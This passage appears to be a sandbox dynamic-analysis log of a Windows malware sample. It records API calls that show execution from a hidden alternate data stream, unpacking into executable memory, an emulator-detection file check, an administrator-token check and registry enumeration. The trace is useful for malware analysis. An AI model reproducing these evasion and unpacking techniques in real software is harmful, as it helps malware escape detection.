dwHighDateTime=0x0)) returned 0 [0227.095] GetFocus () returned 0x0 [0227.095] GetAsyncKeyState (vKey=58) returned 0 [0227.095] GetKBCodePage () returned 0x1b5 [0227.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.095] GetFocus () returned 0x0 [0227.095] GetAsyncKeyState (vKey=58) returned 0 [0227.095] GetKBCodePage () returned 0x1b5 [0227.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.095] GetFocus () returned 0x0 [0227.095] GetAsyncKeyState (vKey=58) returned 0 [0227.095] GetKBCodePage () returned 0x1b5 [0227.095] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0227.095] GetFocus () returned 0x0 [0227.096] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0227.096] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1:bin")) returned 0x2e [0227.096] Sleep (dwMilliseconds=0x94) [0227.427] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0227.427] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0227.430] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0227.430] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x260000 [0227.431] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0227.431] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0227.431] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) returned 0x0 [0227.431] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0227.431] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0227.431] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0227.431] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0227.431] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0227.433] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x2f0000 [0227.435] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0227.435] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0227.435] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0227.435] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0228.956] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.132] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x22f0000 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x104) returned 0x22f07d0 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f08e0 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0968 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f09f0 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0a78 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0b00 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0b88 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0c10 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0c98 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0d20 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0da8 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0e30 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0eb8 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0f40 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f0fc8 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f1050 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22f10d8 [0229.140] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x400) returned 0x22f1160 [0229.140] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x350000 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x3507d0 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x350858 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x3508e0 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x184) returned 0x350968 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350af8 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350b40 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350b88 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350bd0 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350c18 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350c60 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350ca8 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350cf0 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350d38 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350d80 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350dc8 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350e10 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350e58 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350ea0 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350ee8 [0229.141] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350f30 [0229.141] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\j4ojat~1:bin")) returned 0x2e [0229.142] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x350f78 [0229.142] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x2c) returned 0x35b828 [0229.148] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0229.148] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0229.148] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0229.148] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0229.148] GetLastError () returned 0x7a [0229.148] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x140) returned 0x35b860 [0229.148] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x35b860, TokenInformationLength=0x118, ReturnLength=0x18fbec | out: TokenInformation=0x35b860, ReturnLength=0x18fbec) returned 1 [0229.148] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x514a90*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0229.148] EqualSid (pSid1=0x514a90*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x35b8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0229.148] EqualSid (pSid1=0x514a90*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x35b8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0229.148] EqualSid (pSid1=0x514a90*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x35b8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0229.149] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35b860) returned 1 [0229.149] NtClose (Handle=0xc4) returned 0x0 [0229.149] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35b860 [0229.149] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35b8a8 [0229.150] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x280) returned 0x35b930 [0229.151] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0229.155] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x35b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0229.155] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.155] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bc58 [0229.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x35bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0229.156] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bca0 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bc58) returned 1 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bca0) returned 1 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.156] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x35b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0229.156] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.156] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bca0 [0229.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x35bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0229.156] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bc58 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bca0) returned 1 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bc58) returned 1 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.156] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x35b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0229.156] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.156] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bc58 [0229.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x35bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0229.156] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bca0 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bc58) returned 1 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bca0) returned 1 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.156] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x35b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0229.156] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.156] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bca0 [0229.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x35bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0229.156] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bc58 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bca0) returned 1 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bc58) returned 1 [0229.156] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.157] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x35b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bc58 [0229.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x35bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bca0 [0229.157] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bc58) returned 1 [0229.157] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bca0) returned 1 [0229.157] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.157] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x184) returned 0x35d040 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bca0 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bc58 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bce8 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bd30 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bd78 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bdc0 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35be08 [0229.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35be50 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35be98 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bee0 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bf28 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bf70 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35bfb8 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c000 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c048 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c090 [0229.158] RegCloseKey (hKey=0x80000002) returned 0x0 [0229.158] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x35b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x35c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.158] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.158] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.158] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.158] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x35b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.158] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.158] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.158] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.158] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x35b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x35c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0229.159] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.159] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x35b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0229.159] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.159] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c120 [0229.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0229.159] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c120) returned 1 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35c0d8) returned 1 [0229.159] RtlFreeHeap (HeapHandle=0x350000, Flags=0x0, BaseAddress=0x35bbb8) returned 1 [0229.159] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x35b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0229.159] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x80) returned 0x35bbb8 [0229.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.159] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x35c0d8 [0229.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x35c0d8, cbMultiByte=5, lpDefaultChar=0x0, 